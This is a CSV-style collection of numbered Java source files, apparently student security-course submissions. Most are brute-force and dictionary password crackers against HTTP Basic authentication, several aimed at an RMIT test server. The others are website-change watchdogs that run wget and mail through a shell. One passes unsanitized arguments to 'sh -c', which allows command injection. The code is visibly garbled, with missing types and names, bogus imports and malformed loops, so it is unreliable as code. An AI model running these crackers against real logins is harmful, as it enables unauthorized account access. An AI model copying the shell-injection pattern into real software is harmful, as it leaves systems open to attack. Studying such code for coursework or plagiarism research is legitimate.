    PrintWriter  pw = new PrintWriter();

    int flag=1;
    int loop=0;
     String ServerType = new String();
     String LastModified = null;
     String urlString = new String(""http://www.cs.rmit.edu./students/"");


     storeNewFile snf = new storeNewFile(""History.txt"");
     storeNewFile snf1 = new storeNewFile(""Comparison.txt"");
     String result = null;
     getImage myGI = new getImage();
     Process myProcess;
     String line = null;
 stime = System.currentTimeMillis();
   while(loop<5)
   {
     try {
        URL url = new URL (urlString);
        URLConnection uc = url.openConnection();
        InputStream content = (InputStream)uc.getContent();
        BufferedReader in   =
                      new BufferedReader (new InputStreamReader (content));
        String line2;
        while ((line2 = in.readLine()) != null) {

           pw.println (line2);
        }
        snf1.getStringW();
        if(LastModified !=null)
        {


          differenceFile df = new differenceFile();
          result = df.compareFile();
        }
        if(LastModified==null)
        {
          System.out.println(""first check"");
          LastModified=uc.getHeaderField(1);
          ServerType=uc.getHeaderField(2);
          snf.getStringW();
          myGI.tokenFile(""History.txt"");           
          myProcess = Runtime.getRuntime().exec(""./compGIF.sh"");
        }
        else if(result==null)
        {
           myGI.tokenFile(""Comparison.txt"");
           myProcess = Runtime.getRuntime().exec(""./compGIF.sh"");
           BufferedReader inputStream= new BufferedReader(new FileReader(""pictResult.txt""));
           line=inputStream.readLine();
 
           if(line == null)
           {
             System.out.println("" changes   far.."");
           }
           else
           {
             while(line!=null)
             {
               sendMail t = new sendMail();
               t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",line);
               line=inputStream.readLine();
             }
           }
           inputStream.close();
        }
        else
        {
           
           snf.translogFile(result);
           sendMail t = new sendMail();
           t.sendMail(""yallara.cs.rmit.edu."", ""@cs.rmit.edu."",result);
           System.out.println("" email is sent.. sent..sent.."");
           snf.getStringW();
        }
        snf.closeStream();
        snf1.closeStream();

        try{
          synchronized(url){
             url.wait(15000);
          }
        }
       catch(InterruptedException e) {
          System.out.println(""Error in wait() method"");
        }
        catch(Exception e){
          e.printStackTrace();
        }
        loop++;
 endtime=System.currentTimeMillis();
System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");

     }catch (MalformedURLException e) {
        pw.println (""Invalid URL"");
     }catch (IOException e) {
        pw.println (""Error  URL"");
     }
   }

     System.out.println(""ETag is ""+ ServerType);
     System.out.println(""LastModified is ""+ LastModified);
  }
}"
142.java,"import java.io.*;
import java.util.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class Dictionary
{

  public Dictionary()
  {
  }

  public static void main(String[] args)
  {
    try
    {

        if (args.length != 3 )
        {
            System.out.println(""Usage: java BruteForce <URL> <UserName> <DictFileName>"");
            System.exit(1);
        }

         timeStart = System.currentTimeMillis();

        String strPass = applyDictionary (args[0], args[1], args [2]);

         timeEnd = System.currentTimeMillis();

        System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass);
        System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000));

    }
    catch(Exception e)
    {
      e.printStackTrace();
    }
  }

  static String applyDictionary (String URL, String UserName, String strUrlDictionary)
  {
      String strPass = """";

      try
      {
              FileInputStream fIn = new FileInputStream ( strUrlDictionary );
              DataInputStream dtIn = new DataInputStream ( fIn );

             
             

              System.out.print(""\n\n\n Applying Dictionary Attack:      "");

              while (dtIn.available() > 0)
              {
                  strPass = dtIn.readLine();

                  if (strPass.length() != 3)
                    continue;

                 
               

                  System.out.print(""\b\b\b"" + strPass );

                  boolean boolResult = applyPass ( URL, UserName, strPass );

                  if (boolResult)
                  {
                      dtIn.close();
                      fIn.close();
                      return strPass;
                  }
              }

              dtIn.close();
              fIn.close();
      }
      catch (Exception e)
      {
          e.printStackTrace();
      }

      return ""Could not find match"";
  }

  private static boolean applyPass (String strURL, String strUserName, String strPass )
  {
        BASE64Encoder myEncoder = new BASE64Encoder ();

        try
        {
            String str = strUserName + "":"" + strPass;

            String strEncode = myEncoder.encode(str.getBytes());

            URL url = new URL (strURL);

            URLConnection urlConn = url.openConnection();

            urlConn.setRequestProperty (""Authorization"", "" "" + strEncode);

            urlConn.connect();

            String strReply = urlConn.getHeaderField(0);

            if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") )
            {
                return true;
            }
        }
        catch (Exception e)
        {
            e.printStackTrace ();
        }

        return false;
  }
}
"
228.java,"

import java.io.*;
import java.*;
import java.net.*;
import java.util.*;

public class BruteForce {
 public static void main (String[] args) throws IOException {
  BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));

       int start = new Date().getTime();
      String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"",
                          ""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"",
			  ""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"",
			  ""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""};
      int len = 52;
      int total = 52;
      String[] cad = new String[total];
      int t=0;
      
      for (int i=0;i<=len-1;i++){
	 cad[t] = letters[i];
	 t++;
      } 
      for (int i=0;i<=len-1;i++){
         for (int j=0;j<=len-1;j++){
	    cad[t] = letters[j]+letters[i];
	    t++;
      }}
      for (int i=0;i<=len-1;i++){
       for (int j=0;j<=len-1;j++){
        for (int k=0;k<=len-1;k++){
	   cad[t] = letters[k]+letters[j]+letters[i];
	   t++;
      }}}
            
       int response = 0;
       for (t=0;t<=total-1;t++){
        String uname = """";
        String userinfo = uname + "":"" + cad[t];
        try{
         String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
         uc.setRequestProperty (""Authorization"", "" "" + encoding);
         response = uc.getResponseCode();
	 if (response == 200) break;
	 else uc.disconnect();
        }
        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
       }
       System.out.println(""Response ""+t+"" was ""+response);
       System.out.println(""The successful password was ""+cad[t]);
        finish = new Date().getTime();
       float totaltime = (float)(finish-start)/1000;
       System.out.println(""Total time: ""+totaltime+"" seconds"");
   }
}

"
185.java,"

import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;

public class Dictionary extends Frame implements ActionListener {

  private TextField tf = new TextField();
  private TextArea  ta = new TextArea();

  public void actionPerformed (ActionEvent e) {
	  String s = tf.getText();
	  String login="""";
   try{
	  BufferedReader bufr = new BufferedReader
			(new FileReader (""words1.txt""));
	  String inputLine="""";



	  if (s.length() != 0)
      {
		  inputLine = bufr.readLine();
		  while ((inputLine != null) && (inputLine.length() != 3))
		  {
			  
			  inputLine = bufr.readLine();
		  }

           login="":""+inputLine;
		   ta.setText (fetchURL (s,login));
		   System.out.println(""runing""+login);
	   }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error  URL"")!=0);

	   System.out.println(""The password is: ""+inputLine);
}
catch(Exception ex){}

 }

  public Dictionary() {

    super (""URL11 Password"");

    
     add (tf, BorderLayout.LEFT);
     ta.setEditable(false);
     add (ta, BorderLayout.CENTER);
     tf.addActionListener (this);
     addWindowListener (new WindowAdapter() {
       public void windowClosing (WindowEvent e) {
         dispose();
         System.exit(0);
       }
     });
   }

  private String fetchURL (String urlString,String login) {
     StringWriter sw = new StringWriter();
     PrintWriter  pw = new PrintWriter();

    try {
       URL url = new URL (urlString);

     
       MyAuthenticator  = new MyAuthenticator();
       

      
       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());

      
       

      
       URLConnection uc = url.openConnection();
       uc.setRequestProperty  (""Authorization"", "" "" + encoding);
       InputStream content = (InputStream)uc.getInputStream();
       BufferedReader in   =
         new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
         pw.println (line);
       }
     } catch (MalformedURLException e) {
       pw.println (""Invalid URL"");
     } catch (IOException e) {
       pw.println (""Error  URL"");
     }
     return sw.toString();
   }


  public static void main (String args[]) {
     Frame f = new Dictionary();
     f.setSize(300, 300);
     f.setVisible (true);
   }

  class MyAuthenticator {
     String getPasswordAuthentication(Frame f, String prompt) {
       final Dialog jd = new Dialog (f, ""Enter password"", true);
       jd.setLayout (new GridLayout (0, 1));
       Label jl = new Label (prompt);
       jd.add (jl);
       TextField username = new TextField();
       username.setBackground (Color.lightGray);
       jd.add (username);
       TextField password = new TextField();
       password.setEchoChar ('*');
       password.setBackground (Color.lightGray);
       jd.add (password);
       Button jb = new Button (""OK"");
       jd.add (jb);
       jb.addActionListener (new ActionListener() {
         public void actionPerformed (ActionEvent e) {
           jd.dispose();
         }
       });
       jd.pack();
       jd.setVisible(true);
      return username.getText() + "":"" + password.getText();

     }
   }

}
      

     class  Base64Converter
      
      
      {

     public static final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 

     
      

     public static String  encode ( String  s )
      
      {
        return encode ( s.getBytes ( ) );
      }

     public static String  encode ( byte [ ]  octetString )
      
      {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
        {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ];
        }

       if ( octetString.length - i == 2 )
        {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
          out [ outIndex++ ] = '=';
        }

       return new String ( out );
      }

     
      
      }

"
048.java,"import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
import java.net.HttpURLConnection;


public class BruteForce 
{
  String uname = """";
  String pword = ""null"";
  Vector v = new Vector();
  int runTime;
  
  public void doConnect(String connect, int num)
  {
      
      String cad = connect;
    
    try
     {
       URL secureSite = new URL();
       URLConnection connection = secureSite.openConnection();
	 
       if (uname != null || pword != null)
	  {
	    
	    for(int i=num; i<v.size(); i++)
	    {
	      pword = (String)v.elementAt(i);
	      String up = uname + "":"" + pword;
            String encoding;
            try
		{
		 secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
              encoding = encoder.encode (up.getBytes());
           }
	     catch (Exception ex) 
            {
		  Base64Converter encoder = new Base64Converter();
              encoding = encoder.encode(up.getBytes());
           }
	     connection.setRequestProperty (""Authorization"", "" "" + encoding);
           connection.connect();
           if(connection instanceof HttpURLConnection)
	     {
	       HttpURLConnection httpCon=(HttpURLConnection)connection;
             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
		  {
		   System.out.println(""Not authorized - check  for details"" + "" -Incorrect Password : "" + pword);
		   httpCon.disconnect();
	         doConnect(uname, i+1);
	       }
		else
		 { 
		  System.out.println(""\n\n\nPassword for HTTP Secure Site By BruteForce Attack"");
              System.out.println( +""\tPassword : ""+ pword);
	        
              runTime = System.currentTimeMillis() - runTime; 
              System.out.println(""Time taken  crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken  crack password : ""+ i);
	        System.exit(0);
	      }
	    }
	  }
      }
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
  }
  public Vector getPassword()
  {
    try
    {
      makePasswords  mp = new makePasswords();
      mp.makePass();
	mp.loadFile();
      v = mp.getVector();
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
    return v;
  }
  public void setTimeTaken( int time_taken)
  {
    runTime = time_taken;
  }  
  public static void main( String args[] ) throws IOException 
  {
    
    try
    {
     runTime1 = System.currentTimeMillis();     
    BruteForce newDo = new BruteForce();
    newDo.setTimeTaken(runTime1);
    newDo.getPassword();
    String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
    newDo.doConnect(site, 0);
    }catch(Exception ex)
    {
    System.out.println(""Errrrrrrr"");
    }
    

  }  
  
}

class  Base64Converter
      {
  
          public final char [ ]  alphabet = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
              '4', '5', '6', '7', '8', '9', '+', '/' }; 
  
  
          public String  encode ( String  s )
          {
              return encode ( s.getBytes ( ) );
          }
  
          public String  encode ( byte [ ]  octetString )
          {
              int  bits24;
              int  bits6;
  
              char [ ]  out
                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
  
              int outIndex = 0;
              int i        = 0;
  
              while ( ( i + 3 ) <= octetString.length ) {
                  
                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
  
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0000003F );
                  out [ outIndex++ ] = alphabet [ bits6 ];
              }
  
              if ( octetString.length - i == 2 )
              {
                  
                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
              }
              else if ( octetString.length - i == 1 )
              {
                  
                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
                  out [ outIndex++ ] = '=';
              }
  
              return new String ( out );
          }
       }
  
  
"
117.java,"
import java.util.*;

public class CrackThread implements Runnable {

    private String strUsername;
    private String strURL;
    private int iSeed;
    private int iEnd;
    
    
    public CrackThread() {
    }
    
    public void setParams(String url, String username, int seed, int end) {
        strUsername = username;
        strURL = url;
        iSeed = seed;
        iEnd = end;
    }
    
    public void run() {
        Date dtStart, dtEnd;
        PasswordGen pwd = new PasswordGen();
        PasswordTest tester;
        int i=1;
        boolean bDone = false;
        Result res;

        dtStart = new Date();
        
        
        pwd.setSeed(iSeed);
        
        while(!bDone) {
            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
        
            bDone = tester;
            i++;
            
            
            if(i % 100 == 0)
            {
                System.out.println(pwd.getPassword());
            }
            
            if(bDone) {
                
                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
                System.out.print(res.toString());
            }
            else
            {
                
            }
            
            
            if( i >= iEnd) bDone = true;
        }    
    }
    
}
"
042.java,"import java.net.*;
import java.io.*;

public class BruteForce {
  private String strUserName;
  private String strURL;
  private int iAttempts;
  
  public BruteForce(String strURL,String strUserName) {
    this.strURL = strURL;
    this.strUserName = strUserName;
    this.iAttempts = 0 ;

  }
  
  public String getPassword(){
      URL u;
      String result ="""";
      PassGenBrute PG = new PassGenBrute(3);
      URLConnection uc;
      String strPassword = new String();
      String strEncode;
      try{
        while (result.compareTo(""HTTP/1.1 200 OK"")!=0){
        
          strEncode = PG.getNewPassword();
          u = new URL(strURL);
          uc = u.openConnection();
          uc.setDoInput(true);
          uc.setDoOutput(true);
          strPassword = strEncode;
          strEncode =  strUserName + "":"" + strEncode;
        
          strEncode = new String(Base64.encode(strEncode.getBytes()));
          uc.setRequestProperty(""Authorization"","" "" + strEncode);
        
          result = uc.getHeaderField(0);
          uc = null;
          u = null;
          iAttempts++;
        }

      }
      catch (Exception me) {
      System.out.println(""MalformedURLException: ""+me);
      }
      return(strPassword);
  }
  
  public int getAttempts(){
    return (iAttempts);
  };
  
  public static void main (String arg[]){
     timeStart = 0;
     timeEnd = 0;
    
    if (arg.length == 2) {
       BruteForce BF = new BruteForce(arg[0],arg[1]);
       System.out.println(""Processing ... "");
       timeStart = System.currentTimeMillis();
       
       System.out.println(""Password = "" + BF.getPassword());
       timeEnd = System.currentTimeMillis();
       System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)"");
       System.out.println(""Total Attempts  = "" + BF.getAttempts());
    }
    else {
       System.out.println(""[Usage] java BruteForce <URL> <USERNAME>"");

    }

  }
}

class PassGenBrute {
  private char[] password;
  public PassGenBrute(int lenght) {
    password = new char[lenght];
    for (int i = 0; i < lenght; i++){
      password[i] = 65;
    }
    password[0]--;
  }
  
  public String getNewPassword()
    throws PasswordFailureException{
    password[0]++;

    try {
      for (int i=0; i<password.length ; i++){
        if (password[i] == 90) {
          password[i] = 97;
        }
        if (password[i] > 122) {
          password[i] = 65;
          password[i+1]++;
        }
      }
    }
    catch (RuntimeException re){
      throw new PasswordFailureException ();
    }
    return new String(password);
  }
}

class PasswordFailureException extends RuntimeException {

  public PasswordFailureException() {
  }
}"
079.java,"import java.util.*;
import java.net.*;
import java.io.*; 

public class Dictionary
{
    boolean connected = false;
    int counter;
   
    Vector words = new Vector();
    
    Dictionary()
    {
        counter = 0;
        this.readWords(); 
        this.startAttack();
    }   
    
    public void startAttack()
    {
        while(counter<this.words.size())
        {
           connected = sendRequest();
           if(connected == true)
           {
             System.out.print(""The password is: "");
             System.out.println((String)words.elementAt(counter-1));
             counter = words.size();
           }
        }
    }
    

    public void readWords()
    {
        String line;

        try
        {
            BufferedReader buffer = new BufferedReader(
                    new FileReader(""/usr/share/lib/dict/words""));
         
            line = buffer.readLine();

            while(line != null)
            {

                if(line.length() <= 3)
                {
                    words.addElement(line);
                }

                line = buffer.readLine();
            }
        }
        catch(IOException e){}
    }
    
    public boolean sendRequest()
    {
        Authenticator.setDefault (new MyAuthenticator ());
        try 
        {
        	
        	URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
                urlConn.connect();
                if(urlConn.getResponseMessage().equalsIgnoreCase(""OK""))
                {
                   return true;
                }
               
        } 
        catch (IOException e) {}
        
        return false;
    }
    
     public static void main(String [] args)
     {
         Dictionary dictionary = new Dictionary();
     }
   
   
     class MyAuthenticator extends Authenticator {
       
        protected PasswordAuthentication getPasswordAuthentication() {
            String username = """";
            String password = (String)words.elementAt(counter);
            counter++;
            return new PasswordAuthentication(username, password.toCharArray());
       }
    }
}
"
071.java,"

import java.io.*;
import java.net.*;
import java.util.*;

import javax.swing.text.html.*;
import javax.swing.text.html.parser.*;
import javax.swing.text.*;



public class WatchDog {
  
  private URL url = null;
  
  private int time = 0;
  
  private ArrayList images = new ArrayList();
  

  public WatchDog(String urlString, int time) {
    this.time = time;
    try{
      this.url = new URL( urlString );
    }catch(MalformedURLException mefu){
      System.out.println(mefu.toString());
    }

  }

  
  private URLConnection getConnection( ) throws IOException    {
      URLConnection  = url.openConnection();
      return  ;
  }
  
   public ArrayList parse()throws Exception{
      HTMLEditorKit.ParserCallback callback = new HTMLEditorKit.ParserCallback (){

        public void handleSimpleTag(HTML.Tag t, MutableAttributeSet a, int pos){
          if(HTML.Tag.IMG == t){
            String image = (String)a.getAttribute(HTML.Attribute.SRC);
            image = image.trim();
            if(image.charAt(0)=='/'){
              image= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():"""")+image;

            }else if(image.toLowerCase().indexOf(""http"")==-1){
              String tmp = """", path = """";
              tmp= url.getProtocol()+""://""+url.getHost()+(url.getPort()!=-1?"":""+url.getPort():"""");

              path = url.getPath();
              if(path.lastIndexOf(""/"") > 0)
                path = path.substring(0,path.lastIndexOf(""/"")+1);
              image = tmp+path+image;
            }
            System.out.println(image);
            images.add(image);
          }
        }
      };
      URLConnection  = getConnection();
      this.images = new ArrayList();
      Reader reader = new InputStreamReader( bf.getInputStream() );
      ParserDelegator pd =  new ParserDelegator();
      pd.parse( reader , callback , true );
      return images;
  }

  
  public void executeCommand(String command)throws Exception{
    if(command == null)
      return;
    String [] command1 = new String[]{""//sh"", ""-c"",command};
    Process pc = Runtime.getRuntime().exec(command1);
    Thread.sleep(5000);

  }

   
   public void append(String fileName, String text) throws Exception {
        File f = new File(fileName);

        if(f.exists()){
             fileLength = f.length();
            RandomAccessFile raf = new RandomAccessFile(f, ""rw"");
            raf.print(fileLength);

            raf.writeBytes(text);

            raf.print();
        }
        else{
            throw new FileNotFoundException();
        }
  }
  
  public void concatenate(String file1, String file2, String file3)throws Exception{
    File f = new File(file3);
    if(f.exists())
      f.delete();

    f.createNewFile();


    BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1)));
    
    String line = """";
    {
      line = dict.readLine();
      if(line== null) break;
      this.append(file3, line+""\n"");
    } while(line!=null);

    dict.print();

    dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2)));
    
    line = """";
    {
      line = dict.readLine();
      if(line== null) break;
      this.append(file3, line+""\n"");
    } while(line!=null);
    dict.print();
    f = new File(file1);
    if(f.exists())
      f.delete();
    f = new File(file2);
    if(f.exists())
      f.delete();

  }

  public  getTime(){
    return this.time;
  }
  public static void main (String[] args) {
    if(args.length != 3){
      System.out.println(""usage: java attacks.WatchDog <url: e.g. http://www.cs.rmit.edu./students/> <time gap : e.g. 1440> <email: e.g. @cs.rmit.edu.>"");
      System.out.println(""url: is the url  monitor by watchdog"");
      System.out.println(""time: is after  much minutes, program should check url again"");
      System.out.println(""email address:  which email should  sent of changes"");
      System.exit(1);
    }
     time = 0;
    try{
      time = Integer.parseInt(args[1]);
      time = time*1000*60;

    }catch(NumberFormatException nfe){
      System.out.println(nfe);
      System.exit(1);
    }

    WatchDog watchDog1 = new WatchDog(args[0], time);
    while(true){
    try{

        int ret;

        System.out.println(""Downloading contents from ""+args[0]);
        String command = new String(""wget "" + args[0] );


        watchDog1.executeCommand(command);
        System.out.println(""Retrieving images from ""+args[0]);
        String images[] = (String[])watchDog1.parse().toArray(new String[0]);
        String imageNames = """"; 
        int i;
        
        System.out.println(""Downloading images "");
        for(i = 0; i < images.length; i++){

          StringTokenizer  = new StringTokenizer(new URL(images[i]).getPath(),""/"");
          String part = """";
          while(i.hasMoreTokens()){
            part = i.nextToken(""/"");
          }
          imageNames+=part+"" "";

          command = new String(""wget "" +images[i]+"" -O ""+part);

          watchDog1.executeCommand(command);
        }

        
        command = new String(""md5sum "" +imageNames + "">md5sums.txt"");
        watchDog1.executeCommand(command);
        
        command = new String(""rm "" +imageNames);
        watchDog1.executeCommand(command);



        
        watchDog1.concatenate(""index.html"", ""md5sums.txt"", ""indexNew.txt"");
        
        File f = new File(""indexOld.txt"");
        if(f.exists()){
          System.out.println(""Comparing ..."");
          command = new String(""diff indexOld.txt indexNew.txt>diff.txt"");
          watchDog1.executeCommand(command);
          File difFile = new File(""diff.txt"");
          if(difFile.exists() && difFile.length() > 0){
            command = new String(""less diff.txt | mail ""+args[2]);
            
            watchDog1.executeCommand(command);
            System.out.println(""URL changed, Changes has been e-mailed  ""+ args[2]);
          }else{
            System.out.println("" difference found.."");
          }


        }else
          System.out.println(""Since old file does not exist,  changes   detected"");

        command = new String(""mv indexNew.txt indexOld.txt"");
        watchDog1.executeCommand(command);

        System.out.println(""Watch Dog is going  sleep for ""+watchDog1.getTime()/1000/60+"" minutes.."");
        Thread.sleep(watchDog1.getTime());

        System.out.println(""Checking the  every ""+watchDog1.getTime()/1000/60+"" minutes.."");

    }catch(IOException ioe){
      ioe.printStackTrace();
    }catch(InterruptedException e){
      e.printStackTrace();
    }catch(Exception e){
      e.printStackTrace();
    }
  }

  }
}"
182.java,"import java.net.*;
import java.io.*;


public class Dictionary extends Authenticator {

    
    private String username;
    
    private char [] thisPassword;
    
    private URL url;
    
    private BufferedReader bf;

    
    public static void main(String [] args) {
        if(args.length!=3) {
            System.err.println(
                    ""usage: Dictionary <url> <username> <dictionary-file>"");
            System.exit(1);
        }
        Dictionary d = null;
        try {
            d = new Dictionary(args[0], args[1], args[2]);
        } catch (MalformedURLException me) {
            me.printStackTrace();
            System.exit(1);
        } catch (FileNotFoundException fe) {
            fe.printStackTrace();
            System.exit(1);
        }
        d.work();
    }

    
    public Dictionary(String url, String username, String passwordFilename) 
            throws MalformedURLException, FileNotFoundException {
        this.url = new URL(url);
        this.username = username;
        thisPassword = new char [] {'a'};
        File f = new File(passwordFilename);
        FileReader fr = new FileReader(f);
        bf  = new BufferedReader(fr);
    }

    
    public void work() {
        Authenticator.setDefault(this);
        HttpURLConnection uc = null;
        try {                                                 
            uc = (HttpURLConnection) url.openConnection();    
            uc.connect();                                     
            while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
                thisPassword !=null) {
                try {                                         
                    InputStream is = uc.getInputStream();     
                    uc.connect();                             
                } catch (ProtocolException pe) {              
                    uc = (HttpURLConnection) url.openConnection();          
                } catch (NullPointerException npe) {          
                    npe.printStackTrace();                    
                    System.exit(1);                           
                }                                             
            }                                                 
        } catch (java.io.IOException e ) {                    
            e.printStackTrace();                             
            System.exit(1);                                   
        }                                                     
        System.out.println(""password="" + new String(thisPassword));
    }

    
    public PasswordAuthentication getPasswordAuthentication() {
        String s=null;
        try {
            for(s = bf.readLine(); s!=null; s = bf.readLine()) {
                if(s.length()==3) {
                    break;
                }
            } 
        } catch (IOException e) {
            e.printStackTrace();
            System.exit(1);
        }
        if(s.length()!=3) {
            thisPassword = null;
        } else {
            thisPassword = s.toCharArray();
        }
        return new PasswordAuthentication(username, thisPassword);
    }
}
"
233.java,"import java.util.*;
import java.io.*;
import java.*;

public class Dogs5
{
   public static void main(String [] args) throws Exception
   {      
      executes(""rm index.*"");
      executes(""wget http://www.cs.rmit.edu./students"");

      while (true)
      {
         String addr= ""wget http://www.cs.rmit.edu./students"";
         executes(addr);
         String hash1 = md5sum(""index.html"");
         String hash2 = md5sum(""index.html.1"");
         System.out.println(hash1 +""|""+ hash2);
 
         BufferedReader buf = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt""));

         String line="" "" ;
         String line1="" "" ;
         String line2="" "";
         String line3="" "";
         String[] cad = new String[10];
        
         executes(""./.sh"");
  
         int i=0;
         while ((line = buf.readLine()) != null)
         {
            
              line1=""http://www.cs.rmit.edu./students/images""+line;
            if (i==1)
               line2=""http://www.cs.rmit.edu./students/images""+line;
            if (i==2)
               line3=""http://www.cs.rmit.edu./students/images""+line;
            i++;
         }
         System.out.println(line1+"" ""+line2+"" ""+line3); 


         executes(""wget ""+line1);
         executes(""wget ""+line2);
         executes(""wget ""+line3);
         
         String hash3 = md5sum(""index.html.2""); 
         String hash4 = md5sum(""index.html.3""); 
         String hash5 = md5sum(""index.html.4"");

         


BufferedReader buf2 = new BufferedReader(new FileReader(""/home/k//Assign2/ulist1.txt""));

         String linee="" "" ;
         String linee1="" "" ;
         String linee2="" "";
         String linee3="" "";

         executes(""./ip1.sh"");

         int j=0;
         while ((linee = buf2.readLine()) != null)
         {

              linee1=""http://www.cs.rmit.edu./students/images""+linee;
            if (j==1)
               linee2=""http://www.cs.rmit.edu./students/images""+linee;
            if (j==2)
               linee3=""http://www.cs.rmit.edu./students/images""+linee;
            j++;
         }
         System.out.println(line1+"" ""+line2+"" ""+line3);


         executes(""wget ""+linee1);
